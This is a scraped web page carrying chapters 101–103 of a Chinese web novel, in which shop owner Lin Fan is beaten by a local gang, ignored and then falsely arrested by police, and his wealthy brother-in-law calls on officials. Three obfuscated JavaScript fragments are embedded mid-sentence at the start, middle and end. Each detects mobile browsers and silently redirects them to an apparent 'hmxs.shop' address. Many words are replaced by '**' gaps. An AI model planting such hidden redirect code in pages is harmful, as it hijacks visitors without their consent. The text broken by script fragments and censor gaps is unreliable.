l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747784|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡松了口气,可心里的石头还没落地, “报警了吗?” “还没……我想等你回来一起报。” 王猛的声音低了下去, “之前五金店的刘老板被黑皮骚扰,报了警,警察来了也没怎么管,说‘没造成人员伤亡,不好处理’,最后刘老板还是交了保护费才了事。” 林凡皱了皱眉—— 他果然没猜错,黑皮背后有人撑着。 林凡走到窗边,看着外面的雾又浓了些,心里慢慢有了主意。 他转过身,看着王猛,语气尽量平稳: “报警肯定要报,这是程序,也是留下证据。 我们现在就去派出所,把他们踹门、泼红漆的事都说清楚,让警察做个笔录,留下记录。 往后不管出什么事,都有个凭据。” 王猛点点头:“听你的。” “然后,我们去店里看看。” 林凡继续说, “看看红漆字的情况,能不能拍几张照片。 如果能撞见黑皮,就跟他当面谈谈,看看他到底想要什么。” “谈?他能跟我们谈吗?”王猛有点怀疑。 “试试吧。” 林凡的眼神沉了沉, “如果他只是想要钱,我们可以跟他谈;如果他是受人指使,那我们就得找出背后的人。” 他顿了顿,摸了摸口袋里的纸条,心里有了底:“如果谈不拢,我们再想别的办法。” 王猛看着林凡坚定的眼神,心里也踏实了些。他站起身,拍了拍身上的灰尘: “行,凡子,我跟你一起去!大不了就是跟他们拼了!” 林凡笑了笑,拍了拍他的肩膀: “别冲动,我们现在不是跟他们拼的时候。笑笑还等着我们回去呢。” 提到笑笑,王猛的眼神软了下来。 他还记得笑笑第一次来店里,拿着一个布娃娃,甜甜地喊他“王叔叔”,那一刻,他就下定决心要保护好这个店,保护好笑笑。 “对,笑笑还等着我们呢。”王猛重复了一句,语气里多了几分坚定。 两人收拾了一下,就准备出门。 林凡把那张写着苏瑾瑜号码的纸条又摸了一遍,放进了贴身的内袋—— 他还是不想用这张底牌,可他也知道,这次的事可能没那么简单。 两人刚走出平房,就听见巷口传来了脚步声。林凡心里一紧,拉着王猛躲到了墙角。 脚步声越来越近,两个穿黑夹克的人出现在巷口。 他们都留着短发, 其中一个人胳膊上纹着老虎,另一个人手里夹着烟,眼神扫过巷子里的平房,像是在找人。 “是黑皮的人!”王猛压低声音说,语气里带着恐惧。 林凡眯起眼睛,仔细看着那两个人。 他们在巷口站了一会儿,其中一个人指了指林凡刚才出来的平房,跟另一个人说了句什么,然后就朝着平房的方向走来。 林凡的心提到了嗓子眼。 他摸了摸口袋里的钥匙,又摸了摸内袋里的纸条,脑子里飞快地想着对策—— 如果他们过来,该怎么办? 跟他们硬拼? 还是先跑? 就在这时,远处传来了一阵自行车铃声。 那两个穿黑夹克的人停下脚步,回头看了看,然后骂了一句,转身离开了巷口。 林凡和王猛松了口气,互相看了一眼,都从对方眼里看到了后怕。 “我们赶紧走。” 林凡拉着王猛,快步朝着巷口走去。 两人走出巷口,顺着路边的阴影,朝着派出所的方向走。 路上的行人很少,偶尔有一辆自行车经过,也是飞快地骑过去。 林凡看着路边的煤堆,看着墙上的小广告,心里突然有种预感—— 这次的事,可能比他想象的还要复杂。 他想起苏瑾瑜说的话:“遇到迈不过的坎再打这个电话。” 现在,他是不是已经到了“迈不过的坎”? **。 他只知道,为了笑笑,为了“笑笑宝贝屋”,他必须走下去。 两人走到一个十字路口时,林凡突然停住了脚步。 他看到对面的街角,站着一个熟悉的身影—— 是黑皮。黑皮穿着一件黑色的皮夹克,双手插在口袋里,正盯着他这边。 四目相对的瞬间,黑皮嘴角勾起一抹冷笑,然后转身走进了旁边的一个小饭馆。 林凡的心跳突然加速。 他知道,真正的对峙,要开始了。 可**,黑皮背后的人是谁? 他们想要的,仅仅是“笑笑宝贝屋”吗?还是……冲着他,或者苏家来的? 第102章:暴力与不公 县前街派出所的值班室像个被遗忘的铁盒子,劣质烟草的焦苦味钻进墙缝,与陈年木桌散发出的霉味绞在一起,呛得人喉咙发紧。 墙上的时钟秒针卡着锈迹,每走一下都像在拖延时间—— 王猛攥着被撕烂的店铺租赁合同,唾沫星子随着急促的语速溅在桌角, “他们昨天就来砸了玻璃!还说再不交保护费,就把笑笑的照片贴满老街!” 值班**老李翘着二郎腿,黑色皮鞋鞋尖沾着泥点,手里的钢笔转得飞快,却连眼皮都没抬。 他桌角堆着半盒没吃完的泡面,汤早就凉透,油星凝在表面。 等王猛喘着气停下,老李才慢悠悠地把笔往本子上一戳,潦草的字迹歪歪扭扭,像被风吹散的草: “经济**啊?” “这不是经济**!是威胁!是破坏财物!” 林凡往前跨了一步,指节因为用力而泛白。 他怀里揣着女儿笑笑的照片,照片上小女孩扎着羊角辫,手里举着糖葫芦—— 这是他今年在燕京和女儿一起拍的,现在成了他唯一的精神支柱。 他想补充细节:黑皮上周就带了人堵在店门口,用红漆在墙上写“欠债还钱”,还踹坏了店门的合页; 昨天更过分, 把店里的玩具架推倒,摔碎了十几个毛绒玩偶,那些都是给老街孩子准备的平价玩具。 可老李像是没听见,手一挥,动作像赶苍蝇似的: “赶紧走吧,后面还有人办户口呢。” 他指了指门口排队的老人,语气里的敷衍像结了冰, “这点破事儿,你们自己调解调解。真要打出伤了,再来找我们—— 现在没伤没痛的,我们去了也只能劝,管不了。” 林凡的心脏沉了下去。 他想起上个月在市**局官网上看到的数据: 某省基层派出所年均受理的“经济**类报案”中,有32%被建议“自行协商”,其中近半数是因为涉事双方存在历史矛盾,**认为“调解难度大”。 可他和黑皮的矛盾明明有调解书—— 去年黑皮收保护费时被抓,派出所调解时白纸黑字写着“双方互不追究,黑皮不得再以任何名义骚扰林凡店铺”,现在黑皮公然违约,怎么就成了“自己解决”的事? 王猛还想争辩,林凡拉了拉他的胳膊。 他看见老李已经拿起了呼机,屏幕上是游戏的声音,显然没打算再管他们的事。 走出派出所大门时,漆皮剥落的铁皮门在风里吱呀作响,像在嘲笑他们的天真—— 林凡原以为,回到生他养他的老街,就算没了苏家的帮衬,至少法律能给个公道。 可现在,这公道像被埋在了值班室的霉味里,连影子都看不见。 从派出所到“笑笑宝贝屋”只有三条街,可每一步都像踩在棉花上。 王猛气鼓鼓地踢着路边的石子,石子滚进排水沟,发出哐当一声: “凡子,你刚才怎么不让我跟他吵?那老李明显是收了黑皮的好处!” 林凡没说话。 他想起小时候,老街不是这样的。 那时候街坊邻里互相帮忙,张婶家的鸡跑丢了,全巷的人都出来找; 他爸生病住院,邻居们轮流送饭。 可自从五年前老街开始拆迁,一半的人搬去了新区,剩下的要么是舍不得老房子的老人,要么是像黑皮这样靠欺负小商户过活的混混—— 黑皮原是老街的无业游民,后来跟着外面的帮派混,回来就开始收保护费,敢反抗的商户要么被砸店,要么被逼得搬走,“笑笑宝贝屋”是少数还在撑着的店。 “凡子,你看!”王猛突然停住脚,声音发颤。 林凡抬头,心口一紧。 老街口的电线杆下,黑皮叼着烟,烟蒂烧到了手指也没扔,火星子落在他的黑色皮夹克上,留下一个小印子。 他身后的刀螂瘦得像根晾衣杆,手里玩着一把**,刀刃弹出时发出“咔嗒”一声,在阳光下闪着冷光。 还有四五个混混,有的胳膊上纹着青龙,有的敞着外套露出里面的破T恤,把本就窄的巷道堵得严严实实—— 他们脚边还放着一根钢管,管口锈迹斑斑,显然是早有准备。 黑皮看见他们,把烟蒂往地上一吐,用鞋底狠狠碾了碾,烟灰混着尘土变成灰黑色: “哟呵?这不是林大老板吗?从燕京的富贵窝里滚回来了?” 他故意把“富贵窝”三个字咬得很重,眼神扫过林凡的衣服—— 林凡穿的还是去年在燕京买的牛仔裤, 现在已经洗得发白,可在黑皮眼里,依旧是“攀过高枝”的象征。 “听说你攀上苏家那棵参天大树了?” 黑皮往前走了两步,脸上的狞笑像块烂疮, “怎么?是回来给兄弟们送钱,还是来显摆你认识大人物?” 王猛一下子就炸了,撸起袖子就要冲上去:“**少放屁!凡子和苏家跟你有什么关系!” 林凡一把拉住他,将他拽到身后。 他的后背挺得笔直,像小时候爸爸教他的那样—— 遇到事别慌,先护住自己人。 他摸了摸怀里的照片,指尖传来纸质的温度,心里的火却越烧越旺: “黑皮,去年派出所的调解书还在我手里,白纸黑字写着我们两清。 你现在堵着我们,想干什么?” “两清?” 刀螂突然跳出来,干瘦的手指几乎要戳到林凡的鼻尖,唾沫星子带着口臭溅在林凡脸上, “放**狗臭屁! 你害得我们兄弟几个在里面吃了整整6个月的糙米窝窝头! 那6个月,我连肉味儿都没闻着!这笔账怎么算?” 另一个染着黄头发的混混跟着起哄: “就是!林老板现在有钱了,还在乎这点小钱? 识相的,拿出十万块精神损失费,不然你这破店别想再开张!” “还有你那个在燕京享福的小杂种——”刀螂的话还没说完,就被林凡的吼声打断。 “闭嘴!” 这两个字像炸雷,在巷子里滚过。 周围的混混都愣了一下,连刀螂都下意识地后退了半步。 林凡的拳头攥得死紧,指节发出“咔咔”的轻响,指甲几乎要嵌进肉里—— 谁都能骂他,辱他,就算说他穷、说他没用,他都能忍。 可笑笑是他的逆鳞,是他拼了命也要护住的人。 笑笑今年5岁,跟着姥姥现在在燕京生活,身体不好,去年还住过一次院,怎么能让这些人这么骂她? “钱,一分没有。” 林凡的声音冷得像数九寒天的冰, “有本事,所有事冲我一个人来。再敢提我女儿一个字,我今天就跟你们拼了这条命!” 黑皮嗤笑一声,仿佛听到了天大的笑话: “拼命?就凭你这细皮嫩肉的样儿?” 他手一挥,像驱赶猎物的屠夫, “给老子打!照狠了打!打到他肯掏钱,打到他知道在这地界上谁说了算!” 最先冲上来的是那个黄头发混混,他高个子,一脸横肉,一脚就往林凡的腹部踹去。 林凡反应极快,侧身弯腰躲开,可后背还是结结实实挨了另一人一拳—— 是个矮胖的混混,拳头硬得像石头,林凡闷哼一声,感觉后背的骨头都在疼。 “凡子!” 王猛想冲上来,却被林凡死死拉住。 林凡用嘶哑的声音吼道: “猛子别动手!快去找电话!报警!” 他知道,一旦王猛也动手,黑皮他们就能一口咬定是“互殴”—— 去年有个商户就是这样,被混混打了之后还手,最后反而被派出所罚了款,还赔了混混的医药费。 他不能让王猛也陷进去。 可他的反抗太单薄了。 三个混混围着他打,有人从后面拽着他的头发,把他的额角往斑驳的墙壁上撞—— 墙壁上还留着去年黑皮喷的红漆,现在又沾上了他的血。 有人用穿着硬底皮鞋的脚猛踹他的膝弯,他的膝盖一软,差点跪下去,可他咬着牙,硬是撑着没倒。 还有人用拳头打他的后背,每一拳都像打在棉花上,却让他疼得喘不过气。 他蜷缩起身体,用双臂护住头部和胸腹—— 那里揣着笑笑的照片,他不能让照片被弄脏。胳膊上、背上很快传来阵阵剧痛,青紫的淤痕像地图一样蔓延开来。 他能感觉到血从额角流下来,流进眼睛里,视野里的一切都变成了红色,像笑笑最喜欢的草莓酱,可这红色却让他心慌。 “砰!” 一声闷响。 不知是谁抄起了路边的半块板砖,带着风声,狠狠砸在林凡的后脑勺上。 林凡只觉得脑子里像炸开了一个马蜂窝,嗡嗡作响。 眼前的一切开始扭曲、模糊,黑皮的脸、刀螂的笑、混混们的拳头,都变得遥远而不真实。 温热的鲜血顺着发丝流下来,淌过脸颊,滴在地上,与尘土混在一起,变成暗褐色的小水洼。 他踉跄着往前扑了两步,膝盖一软,重重摔在水泥地上—— 额角又磕在了一块石头上,剧烈的疼痛让他眼前阵阵发黑。 “凡子!凡子!” 王猛的哭声从远处传来,越来越近。林凡想睁开眼睛,可眼皮重得像灌了铅。 他能听到黑皮等人骂骂咧咧的声音,还有刀螂往他身上啐痰的声音—— 那声音尖锐刺耳,像玻璃在刮擦他的灵魂。 他还能听到街坊们的动静。 左边的窗户开了一条缝,他隐约看到是张婶的脸,张婶的眼睛里满是担忧,可很快,窗户就被无声地关上了。 右边的门帘动了一下,是卖馒头的刘叔,可他只探了个头,就又缩了回去。 林凡心里一阵发凉—— 他知道,街坊们不是不想帮,是不敢。 去年卖五金的赵叔想帮被黑皮欺负的商户,结果第二天他的店就被砸了,连家里的窗户都被泼了油漆。 从那以后,没人再敢出头。 “走了走了,别闹出人命。” 黑皮的声音传来, “让他好好想想,明天要是还不掏钱,就把他的店给拆了!” 脚步声渐渐远去。 王猛扑到林凡身边,声音带着哭腔: “凡子!你怎么样?你别吓我!” 他想把林凡扶起来,可一碰林凡的后背,林凡就疼得闷哼一声。 “报警……” 林凡用尽力气说出两个字。 王猛赶紧跑到旁边电话亭,手都在抖:“我报!我现在就报!” 警笛声像蜗牛一样,过了十分钟才慢悠悠地飘过来。 林凡被王猛和赶过来的张婶扶起来时,全身的骨头都像散了架。 后背的衣服被冷汗和血水浸透,贴在身上,又冷又黏。 额角的伤口还在流血,顺着下巴滴落在地上,晕开一小片暗红色的痕迹。 来的还是派出所的老李和另一个年轻**。 老李手里拿着烟,抽得正香,看到林凡的样子,只是皱了皱眉:“怎么搞成这样?” “是黑皮他们打的!他们刚走没十分钟,往东边的废弃厂区跑了!” 王猛急得跳脚,指着路口大声喊道,脖子上的青筋都爆了出来, “你们现在开车去追肯定来得及! 我们的店还被他们砸了,墙上还有红漆字,地上还有板砖,这都是证据啊!” 年轻**掏出相机,对着地上的板砖拍了张照,然后就把相机揣回兜里,连本子都没拿出来。 老李弹了弹烟灰,语气平淡得像在讨论天气: “知道了知道了,我们会安排人去看的。你先送他去医院治伤,后续我们会调查的。” “调查?你们怎么调查?” 王猛气得声音都在抖, “他们都跑了!你们现在不去追,等会儿人就没影了!” “就算追上了,也没证据啊。” 老李瞥了王猛一眼, “人家说是你们先动手,我们也没办法。再说了,废弃厂区那么大,怎么找?” 他顿了顿,又补充道, “行了,别耽误时间了,赶紧送医院吧。有结果我们会通知你们的。” 张婶忍不住开口了: “李警官,黑皮他们在老街作恶不是一天两天了,你们怎么就不管管? 上次赵叔的店被砸,现在还没说法呢!” 老李的脸色沉了下来:“张婶,我们办案有我们的流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752547|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程,不是你说管就能管的。 没有证据,我们不能随便抓人。” 说完,他拉着年轻**就往警车走, “我们还有别的事,先走了。” 警车开走时,尾气飘到林凡面前,呛得他咳嗽起来。 他看着警车的背影,心里的最后一点希望也破灭了。 他想起刚才在医院,医生给他清理伤口时说的话: “还好没伤到颅骨,但是后脑勺缝了五针,额角缝了三针,得休息一周才能拆线。” 医生还说,最近老街已经有三个商户被黑皮打伤了,都是来医院缝针的,可没听说有哪个混混被抓。 张婶扶着林凡,叹了口气:“凡子,你别怨他们,老李跟黑皮他叔是老同学,怎么可能帮你?” 林凡愣住了:“黑皮他叔?” “就是镇政府的刘主任啊。” 张婶压低声音, “黑皮能这么嚣张,就是靠他叔撑腰。上次他叔还跟老李一起吃饭呢,我在饭店亲眼看见的。” 林凡的心沉到了谷底。原来不是**敷衍,是他们根本就不想管—— 有镇政府的人撑腰,黑皮就像有了保护伞,就算犯了错,也能安然无恙。 他原以为,靠法律能解决问题,可现在才知道,在这片被保护伞笼罩的角落里,法律竟成了最苍白无力的东西。 回到张婶家时,天已经黑了。 张婶的平房很简陋,一张旧木桌,两把椅子,墙上挂着一本翻到上个月的日历。 张婶给林凡倒了杯热水,又拿了件她丈夫生前的旧外套给林凡披上: “凡子,你先坐着歇会儿,我去给你煮点粥。” 林凡接过杯子,陶瓷的温热却丝毫传递不到他冰凉的指尖。 他摸出怀里的照片,照片上的笑笑笑得很开心,手里的糖葫芦红彤彤的。 他用袖口擦了擦照片上的灰尘,心里想: “笑笑,爸爸对不起你,不能给你一个安稳的家。” 王猛坐在旁边,气得直拍桌子: “不行,我明天就去找黑皮算账!大不了跟他拼了!” “别去。” 林凡拉住他, “你去了也是白去,还会把自己搭进去。” 他知道,王猛的脾气倔,可现在不是冲动的时候。 就在这时,院门外传来了沉重而整齐的脚步声。 脚步声在寂静的巷子里格外刺耳,像敲在林凡的心上。 林凡刚忍着痛站起身,木门就被从外推开。 三名穿着制服的警察走了进来, 为首的是个陌生的中年警察,他手里拿着一个证件,亮在林凡面前: “林凡,跟我们走一趟。” “怎么了?” 林凡心里咯噔一下。 “有人报警,指认你今日午后在老街口聚众斗殴,扰乱社会治安,情节严重。” 中年警察的语气冷得像三九天的冻土,没有一丝波澜。 “什么?!你们搞错了吧!” 王猛一下子从凳子上跳起来,冲到林凡前面,张开双臂像老母鸡护崽一样挡住他, 声音因愤怒和难以置信而颤抖, “是我们被打了! 凡子被打成这个样子! 我们上午还去你们派出所备过案! 是黑皮他们先动手,还威胁凡子的女儿! 你们怎么不去抓黑皮,反而来抓凡子?” “具体情况,我们会依法调查清楚。” 中年警察说着,手已经按在了腰间的皮套上。 下一刻,一副闪烁着金属寒光的**被拿了出来。 “咔嗒”一声轻响。 **紧紧箍在林凡的手腕上,冰冷坚硬的触感瞬间传遍了他的四肢百骸。 林凡的身体僵住了, 他看着手腕上的**,又看了看警察那张毫无波澜的脸,脑子里电光火石般想通了一切—— 黑皮不仅敢行凶伤人,还敢恶人先告状,甚至能驱动派出所的力量来抓他这个受害者。 所谓的“依法调查”,不过是为这场精心策划的陷害披上一件合法的外衣。 “你们不能抓他!” 张婶端着粥从厨房出来,看到这一幕,手里的碗差点掉在地上, “凡子是好人!他从来没跟人打过架!” “请不要妨碍公务。” 中年警察冷冷地说, “如果你们有异议,可以后续向我们提交证据。现在,林凡必须跟我们走。” 林凡用力按住还想争辩的王猛,用眼神死死示意他冷静。 他知道,现在争辩没用,只会让事情更糟。 他的声音异乎寻常地平静,平静得不像他自己: “好,我跟你们走。” 被两名警察一左一右带出院门时,林凡趁着转身的间隙,回头深深看了王猛一眼。 他用只有两人能听到的、极其低促的声音飞快交代: “猛子,别慌,别做傻事。 去找张婶,让她想办法……联系笑笑的小舅舅苏瑾瑜。” 苏瑾瑜是笑笑的小舅舅,走的时候苏瑾瑜就说过,要是遇到解决不了的事,可以找他帮忙。 可林凡一直不想麻烦他—— 他想靠自己的力量撑起“笑笑宝贝屋”,撑起这个家,不想让人觉得他是靠苏家的势力。 可现在,他不得不动用这张最后的底牌。 手腕上的**越来越凉,额角的伤口还在隐隐作痛, 他知道,有些盘根错节的黑暗,远不是他这样一个毫无根基的普通人能够抗衡的。 警车缓缓开出巷子,林凡坐在后座,看着窗外**的老街。 路灯昏黄,照在斑驳的墙壁上,像一张张疲惫的脸。 **等待他的是什么—— 是派出所的审问,还是黑皮的进一步报复? 他只知道,他不能输, 因为他还要等着女儿笑笑回来, 等着带笑笑去看老街口的樱花树,等着给笑笑一个安稳的未来。 就在警车拐过街角时,林凡突然看到远处的电线杆下站着一个黑影。 黑影戴着帽子,看不清脸,却直直地盯着警车的方向。 林凡的心猛地一紧—— 那个黑影,是黑皮的人,还是其他什么人? **,只觉得一股寒意从脚底升起,蔓延到全身。 第103章:雷霆之怒 警车的警笛声像一把锋利的刀,劈开了县城傍晚的死寂。 街道两侧的矮房歪歪扭扭,亮着的灯泡裹着厚厚的灰尘,连光线都透着一股灰败的气息。 林凡被死死按在后座,手腕上的金属**早已勒出一道深红色的血痕,磨破的皮肤黏在冰凉的金属上,每动一下都传来钻心的疼。 他盯着窗外飞速**的路灯,昏黄的光在他眼底晃出一片模糊的残影,可大脑却像被冰水浇过般清醒。 黑皮那家伙,不过是县城里靠敲诈勒索过活的底层混混,平时连派出所的门都不敢随便进,这次怎么敢直接动用警力抓他? 而且动作这么快—— 从黑皮带人堵他,到警察赶来“抓现行”,前后不过半小时,连给他辩解的机会都没有。 林凡的指尖无意识地抠着座椅的破洞,脑子里飞速闪过前几天的事。 上次他帮邻居张大爷要回被黑皮讹走的退休金,黑皮当时放狠话“要你好看”,他以为只是混混的虚张声势,可现在看来,事情远没那么简单。 能让派出所颠倒黑白、连备案记录都敢无视的,整个县城只有一个人有这本事——沾光列。 那个靠开矿发家的矿主,在当地就是“土皇帝”。 林凡记得去年冬天,沾光列的矿上出了安全事故,**两个矿工,最后却只赔了几万块就不了了之; 还有街上的杂货店老板,因为不肯交“保护费”,店门被人砸了三次,报警后也没人管。 这些事在县城里没人敢明着说,可私下里谁都知道,沾光列的关系网早就织到了县局,甚至可能连市里都有人。 可沾光列抓他,真的只是为了报复? 林凡皱紧眉头,心里升起一丝不安。 他想起去年有个社区**说过,特意叮嘱过“少管闲事,沾光列那人不好惹”。 当时他没在意,现在才后知后觉—— 沾光列恐怕是知道了他和苏家的关系,想借着他试探苏家的态度。 他不过是苏家的“外姓女婿”,和苏家的联系不算频繁。 沾光列抓他,就是想看看,苏家会不会为了一个“外人”动用资源。 这哪里是报复,分明是一场针对苏家的挑衅,而他,就是那个被推到风口浪尖的棋子。 手腕上的疼痛越来越烈,林凡却没心思管。 他更担心女儿笑笑—— 昨天早上出门时,笑笑还抱着他的腿说“爸爸早点回来”, 现在她要是知道自己出事了,会不会害怕? 黑皮的人会不会去北京找她麻烦? “哐当”一声,厚重的铁门被推开,冷风裹着一股刺鼻的霉味扑面而来。 两名警察架着林凡的胳膊,把他推进了拘留室,动作粗鲁得像是在扔一件垃圾。 林凡踉跄着撞到墙上,额角的伤口被震得发疼。 他抬起头,打量着这个不足十平米的小房间: 墙壁是灰黑色的,墙皮大面积剥落,露出里面暗红的砖块,砖缝里还沾着不知是什么的黑色污渍; 角落里堆着一堆稻草,稻草已经发黑,散发着一股腐味和汗味混合的恶臭; 头顶的灯泡只有十五瓦左右,昏黄的光像一团揉皱的纸,勉强照亮房间的一角,却把阴影拉得更长。 他靠着冰冷的墙壁坐下,墙面上的潮气透过衣服渗进皮肤,冻得他打了个寒颤。 他伸手摸了摸额角的伤口,指尖沾到一块干涸的血痂—— 那是被黑皮的人用钢管砸的,当时血流进眼睛里,他连反抗都看不清方向。 时间一点点过去,拘留室里静得能听到自己的心跳声。 林凡没有手表,也没有钟,只能靠外面的声音判断时间。 偶尔能听到远处传来狗叫声,或是警察换班时的说话声,可更多的时候,只有死寂。 他的肚子开始咕咕叫,早上只吃了一碗稀饭,现在早就饿得发慌。 喉咙也干得发疼,像是有砂纸在磨。 他想起审讯室里警察递过来的那杯冷水,当时他因为愤怒没喝,现在却后悔了—— 在这种地方,连一口水都成了奢望。 可身体的不适远比不上心里的焦虑。 **苏瑾瑜会不会收到消息,也不知道苏家会不会管他。 苏家虽然接受了他,但毕竟他只是个普通的县城男人,和苏家的豪门背景格格不入。 他刻意和苏家保持距离,就是怕别人说他攀附权贵。 现在想想,或许正是这份“距离”,让沾光列觉得他好欺负。 如果苏家不管他,他该怎么办? 女儿才5岁,不能没有爸爸。 他甚至开始想,要不要先认下那些莫须有的罪名,先出去再说? 可念头刚冒出来,就被他压了下去——他没做过的事,凭什么认? 就在他胡思乱想的时候,外面传来了锁链滑动的声音。 林凡立刻坐直身体,心脏猛地提了起来——是要再审讯了吗?还是……有别的消息? 两名警察再次出现在门口,脸上没什么表情,只是冷冷地说: “出来,跟我们走。” 林凡站起身,腿因为长时间靠墙坐而有些发麻。 他跟着警察穿过长长的走廊,走廊里的灯光忽明忽暗, 墙壁上贴着“坦白从宽”的标语,显得格外讽刺。 审讯室比拘留室大不了多少,正中间摆着一张金属桌子,桌子两边各有一把椅子。 头顶的灯是大功率的白炽灯,光线直射下来,像一把锋利的剑,刺得林凡睁不开眼。 他眯着眼睛,试图看清对面坐着的警察,可强光让他只能看到两个模糊的黑影。 “坐下。” 其中一个警察开口了,声音粗哑,带着明显的不耐烦。 林凡在椅子上坐下,后背挺得笔直。 他知道,在这种地方,一旦示弱,就会被对方压得喘不过气。 “林凡,你老实交代!是不是你先出言挑衅黑皮等人,才引发的这次斗殴?” 对面的警察猛地敲了敲桌子,桌子发出“哐当”一声响,在安静的审讯室里格外刺耳。 林凡深吸一口气,声音因为口渴而有些沙哑,却依旧坚定: “不是。是黑皮带着三个人堵在我家门口,先是骂我,然后动手打我。 我只是自卫,没有主动挑衅。” “自卫?” 另一个警察冷笑一声,语气里满是讥讽, “黑皮他们四个人都被你打伤了,你说你是自卫?谁信啊?” “是他们先拿钢管打我,我没办法才反抗的。” 林凡加重了语气, “当时路边有个卖水果的王大爷,他看到了全过程,你们可以去问他。” “王大爷?” 第一个警察皱了皱眉,随即又恢复了冷漠的表情, “我们已经问过了,王大爷说他什么都没看到。 再说了,就算是黑皮先动手,你把人打伤了,也得负责任。” 林凡的心沉了一下—— 王大爷肯定是被黑皮的人威胁了,不然不会说没看到。 他还想再说什么,却被警察打断了。 “还有,黑皮说你欠他十万块债务拒不归还,是不是属实?” 警察把一张纸推到林凡面前, “这是黑皮提供的借条,上面有你的签名,你还有什么好说的?” 林凡低头看向那张纸,上面的签名确实和他的很像,但他知道,这绝对是伪造的。 他从来没有向黑皮借过钱,更别说十万块了。 “这借条是假的,我没有签过字。” 他抬起头,直视着对面的黑影, “之前我和黑皮有过经济**,是他欠我三千块货款, 后来在派出所的调解下已经结清了,当时还有调解记录,你们可以调阅。” “调解记录?” 警察又是一声冷笑, “那都是多久前的事了? 跟今天的聚众斗殴没关系。 我劝你认清形势,老实交代,别想着狡辩。 你要是顽抗到底,只会加重你的处罚!” 林凡紧紧攥着拳头,指甲几乎嵌进肉里。 他知道,对方根本不想听他的辩解,他们早就认定了他是“**”。 这场审讯,从一开始就是一场骗局。 就在林凡在审讯室里独自对抗不公时, 千里之外的燕京,苏氏集团总部的顶层办公室里,却是另一番景象。 落地窗外,燕京的夜景璀璨夺目, CBD的高楼大厦灯火通明,车流汇成的光带在城市里蜿蜒,像一条发光的巨龙。 办公室里装修奢华,真皮沙发、红木书桌、墙上挂着的名家字画,无一不彰显着主人的身份。 苏瑾瑜刚结束一场跨国电话会议,他摘下耳机,揉了揉发胀的太阳穴。 桌面上还放着一杯刚泡好的蓝山咖啡, 冒着淡淡的热气,旁边是几份待签的文件,文件上的烫金logo在灯光下格外显眼。 他拿起一支定制钢笔, 钢笔上刻着他名字的缩写“SUJY”,笔尖划过纸张,正要签下自己的名字,却突然顿住了。 一种莫名的不安涌上心头,就像有什么东西在暗处盯着他,让他浑身不自在。 就在这时,桌面上那部红色的内部座机突然响了起来,尖锐的铃声打破了办公室的宁静。 苏瑾瑜皱了皱眉—— 这部电话只有苏家内部人和几个核心下属知道,一般不会轻易响起。 他拿起听筒,刚喂了一声, 就听到电话那头传来王猛带着哭腔的声音,语无伦次,却带着极致的恐慌: “苏总! 不好了!凡子……凡子他被人打了! 头破了,流了好多血!现在……现在还被派出所的人抓走了! 他们给他戴了**,说他聚众斗殴!这简直是无法无天!” 苏瑾瑜握着听筒的手指猛地收紧,指节因为用力而泛白。 他原本温和的脸色瞬间冷了下来,像被冰雪覆盖,连眼神都变得锐利如刀。 “你慢慢说,到底怎么回事? 林凡为什么会被打? 哪个派出所抓的他?” 王猛深吸了几口气,努力平复着情绪,终于把事情的经过说清楚了: “今天下午,凡子和我刚出门就被黑皮带着三个人堵住了。 黑皮说凡子欠他钱,凡子不承认,他们就动手了。 我看到黑皮拿钢管砸凡子的头,血一下子就流下来了。 我想上去帮忙,可林凡不让我动手……后来警察来了, 黑皮跟警察说了几句话,警察就把凡子抓走了,还说凡子聚众斗殴,反抗拒捕。” 苏瑾瑜的另一只手紧紧攥着钢笔,钢笔的金属外壳几乎要被他捏变形。 他能想象到林凡当时的处境—— 一个人面对四个混混的殴打,还要承受警察的不公对待,而他远在千里之外,什么都做不了 。 “你现在在哪?苏瑾瑜的声音冷得能掉出冰碴子,每一个字都像淬了寒冰。 “我……我还在凡子家附近的巷子里,不敢出去。 王猛的声音依旧带着恐惧, “苏总,凡子他不会有事吧?黑皮和派出所的人都串通好了,凡子这次怕是凶多吉少啊!” “放心,有我在,林凡不会有事。” 苏瑾瑜的语气坚定,带着不容置疑的力量, “你在原地等着,保护好自己。不要和黑皮的人发生冲突,剩下的事,交给我。” 挂了电话,苏瑾瑜没有丝毫犹豫,立刻拿起大哥大手机。 这部手机里存着的都是核心人脉的私人号码,平时他很少用,可现在,他必须动用这些资源。 他手指飞快地按下一串号码,电话几乎在瞬间被接通。“李厅,我是苏瑾瑜。” 他的语气里没有丝毫客套,开门见山, “我姐夫林凡,在你们省XX市XX县,被当地混混黑皮殴打致伤, 现在反被XX派出所以‘聚众斗殴’为由刑拘。 我需要你立刻派人核实情况,给我一个说法。 我要的不是敷衍的调查,是公正的处理。” 电话那头的李厅长沉默了几秒,语气带着一丝谨慎: “苏总,您先别着急,我马上安排刑侦支队的人去XX县,一定尽快查清真相。 有消息了,我第一时间跟您汇报。” “好,我等你的消息。” 苏瑾瑜挂了电话,又立刻按下了另一个号码—— 这是他二哥苏瑾国的私人电话。 苏瑾国现任燕京****,在政界有着不小的影响力。 电话接通后,苏瑾国温和的声音传来: “小瑜,怎么突然给我打电话?是不是公司出什么事了?” “二哥,不是公司的事,是林凡的事。” 苏瑾瑜的声音里压抑着怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 